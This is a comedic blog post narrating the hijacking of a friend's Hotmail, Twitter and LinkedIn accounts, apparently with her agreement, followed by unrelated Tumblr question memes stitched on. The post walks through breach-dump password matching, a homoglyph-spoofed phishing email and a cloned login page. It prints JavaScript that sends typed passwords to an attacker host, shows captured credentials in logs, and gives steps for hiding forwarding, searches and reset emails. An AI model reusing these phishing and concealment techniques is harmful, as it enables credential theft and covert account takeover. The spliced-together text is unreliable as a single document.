Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "msftacountteam@outlook.com". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill dianalastname@hotmail.com in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to dianalastname@hotmail.com and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g̜

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to dianalastname@hotmail.com (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to dianalastname42@gmail.com (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

[spice-ghouls]

I was tagged by @prideandperdition for 30 blog questions, thank you so much for tagging me :)

1. Nicknames: None. The only one that really works for my name is “Becca”, and I hate that, so I go by my full name.

2. Gender: Female

3. Star sign: Virgo

4. Height: 5 ft 7 in

5. Time: 6:00 pm

6. Birthday: August 26, 2001

7. Favorite bands: I listen to a metric fuck-ton of bands, and I have a lot of them listed out on the “music” page of my blog, so. Because I don’t have the energy to type them all out here: the bands on that page.

8. Favorite solo artists: This one’s easier, since I don’t listen to that many solo artists. Myrkur, Aurora, David Bowie, and Lorde.

9. Song stuck in my head: “Dionysian rite” by Gorgoroth

10. Last movie I watched: Wonder Woman

11. Last show watched: Firefly (again lol)

12. When did I create my blog: Two years ago or so, I think.

13. What do I post: Metal, punk, memes, Sylvia Plath poems and quotes, depression/social anxiety/ADHD stuff, my writing and art (occasionally), norse mythology, and flowers.

14. Last thing I googled: “colossus sylvia plath”

15. Do you have other blogs?: Yeah, I run a suggestion blog, I co-own several aesthetic blogs, I have a spam blog, and a blog for a TV show I really like.

16. Do you get asks?: Occasionally, or when I ask for them.

17. Why did you choose your url?: All the good space-related usernames on this godforsaken hellsite were taken.

18. Following: 904

19. Followers: 355. I’m so sorry to all of you. But thanks :)

20. Favorite Colors: pale grey-blue, dark olive green, black, and grey.

21. Average hours of sleep: 5 or so

22. Lucky number: 333 (because of the Against Me! song)

23. Instruments: Ukulele, lap dulcimer, guitar (a very small amount), and those awful plastic recorders they made us all learn to play at school as kids.

24. What am I wearing: Black jeans, doc martens, an Avenged Sevenfold shirt, and my battle jacket.

25. How many blankets do I sleep with: One.

26. Dream job: Idk, I probably won’t live long enough to have a real job tbh

27. Dream trip: Germany, or anywhere in Scandinavia

28. Favorite food: Macaroni and cheese (which is incredibly childish, but whatever, nothing matters, so I might as well let myself wallow in my cheddar-flavored shame in peace)

29. Nationality: American

30. Favorite song right now: “The Forest That Weeps” from Wintersun’s new album

I’m tagging: @thepencilcuponyourdesk @ravenclaw-alumni-of-98 @forgetsanity-forgetsalary @pinebon @fireflies-in-a-lantern @iggypope @marwashere @rhelucent @asherlevinia @thestapleronyourdesk @treacherousgods and @livewithsomeregrets (only if you want to, of course 💙)

[acrossthetallgreenriver]

85 Questions

Tagged by the lovely @owlgirl1998

Rules: Answer these 85 questions and tag 20 people.

THE LAST

Drink: Raspberry Lemonade - a bit too sweet for me

Phone Call: My step-dad

Text Message: Mum: Going to Wal-Mart want something? Me: No, I’m good .

Song you listened to: Be Strong by Delta Goodrem

Time you cried: *squints eyes* Can’t really recall the when but it was because of an HP fic.

Dated someone twice: Does it count if I was a kid?

Lost someone special: Our dog, who we’ve had since I was 4, died last year.

Kissed someone and regretted it: Haven’t wanted to kiss anyone

Been cheated on: No

Been depressed: Yes

Gotten drunk and thrown up: Will never happen

3 FAVORITE COLOURS

12. Shades of blue

13. All manner of green

14. Red

IN THE LAST YEAR HAVE YOU

15. Made new friends: Yes :D

16. Fallen out of love: Nope

17. Laughed until you cried: No

18. Found out someone was talking about you: Nope

19. Met someone who changed you: No

20. Found out who your friends are: Yes

21. Kissed someone on your Facebook list: I would need a Facebook page for that

GENERAL

22. How many of your Facebook friends have you met in real life: I don’t have Facebook

23. Do you have any pets: 2 dogs (Ruby & Aubrey) 3 cats (Chloe, Sodapop, and Cream) along with 2 alleycats we feed

24. Do you want to change your name: Not particularly

25. What did you do for your last birthday: Want out to eat with family

26. What time did you wake up: 6:45 A.Mom

27. What were you doing at midnight last night: On Google docs

28. Name something you can’t wait for: Thor: Ragnarok

29. When was the last time you saw your Mum: 2 hours ago

There is no 30?

31. What are you listening to right now: My brothers are watching Blue’s Clues

32. Have you ever talked to a person named Tom: No

33. Something that is getting on your nerves: Humanity’s hypocrisy

34. Most visited website: YouTube, Tumblr, AO3

35. Hair colour: Black

36. Long or short hair: Long

37. Do you have a crush on someone: No

38. What do you like about yourself: My patientence

39. Want any piercings: No

40. Blood type: Can’t remember

41. Nickname: IRL? None.

42. Relationship status: Single

43. Zodiac: Scorpio

44. Pronouns: She/her

45. Favorite TV show: BBC Sherlock & Criminal Minds

46. Tattoos: None

47. Right or left handed: Right

48. Surgery: Never had any

49. Piercings: Ears

50. Sports: Running

51. Vacation: I’ve been to Oklahoma?

52. Pair of trainers: Uh..I’m wearing black ones right now

MORE GENERAL

53. Eating: Nothing

54. Drinking: Nothing

55. I’m about to: Watch a movie

56. Waiting for: life

57. Want: Right now? A sandwich

58. Get married: Maybe?

59. Career: Thinking about it. Something that helps people, or something with writing, maybe?

60. Hugs or kisses: Either/and

61. Lips or eyes: Eyes

62. Shorter or Taller: Don’t mind either way

63. Older or younger: ¯\_(ツ)_/¯

64. Nice arms or nice stomach: Both? Both. Both is good

65. Hook up or relationship: Relationship

66. Troublemaker or hesitant: A hesitant troublemaker

HAVE YOU EVER

67. Kissed a stranger: No

68. Drank hard liquor: Never

69. Lost glasses/contact lenses: I probably need some

70. Turned someone down: Yes, for some school dance

71. Sex on the first date: No

72. Broken someone’s heart: I don’t think so?

73. Had your heart broken: No

74. Been arrested: I’ve witnessed one

75: Cried when someone died: Yes

76: Fallen for a friend: For their brain

DO YOU BELIEVE IN

77. Yourself: On and Off

78. Miracles: Absolutely

79. Santa Claus: Not since I was 7

80. Angels: Occasionally

OTHER

83. Current Best friends’ names: Sarah & Sara

84. Eye colour: Dark Brown

85: Favorite movie: I have too many. Lord of the Rings trilogy, Rise of the guardians, Road to El Dorado, Avengers, etc.

Tagging: @nyodrite, @helly-watermelonsmellinfellon, @veilfireshadows, @shimmer712 @who ever else wants to

[thelillykane]

Odds. 💗

omg….delani my babe what is up with you and odds i will try my best. these r out of order a bit at the top also i removed the #’s for the aesthetic so just trust me BUT 

questions i @’d ppl in (so u don’t have to read these whole thing tho u CAN) ~

my best friend: not @halsteadss​ or @imkait​

